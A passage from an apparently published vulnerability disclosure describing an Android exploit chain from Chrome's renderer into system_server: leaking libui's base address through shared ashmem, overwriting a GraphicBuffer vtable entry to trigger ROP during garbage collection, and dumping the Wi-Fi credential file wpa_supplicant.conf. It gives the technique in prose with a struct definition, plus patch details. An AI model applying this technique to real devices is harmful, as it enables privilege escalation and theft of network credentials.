7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome's render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module's base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven't been used. It's impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t
{
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .

Summary

The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.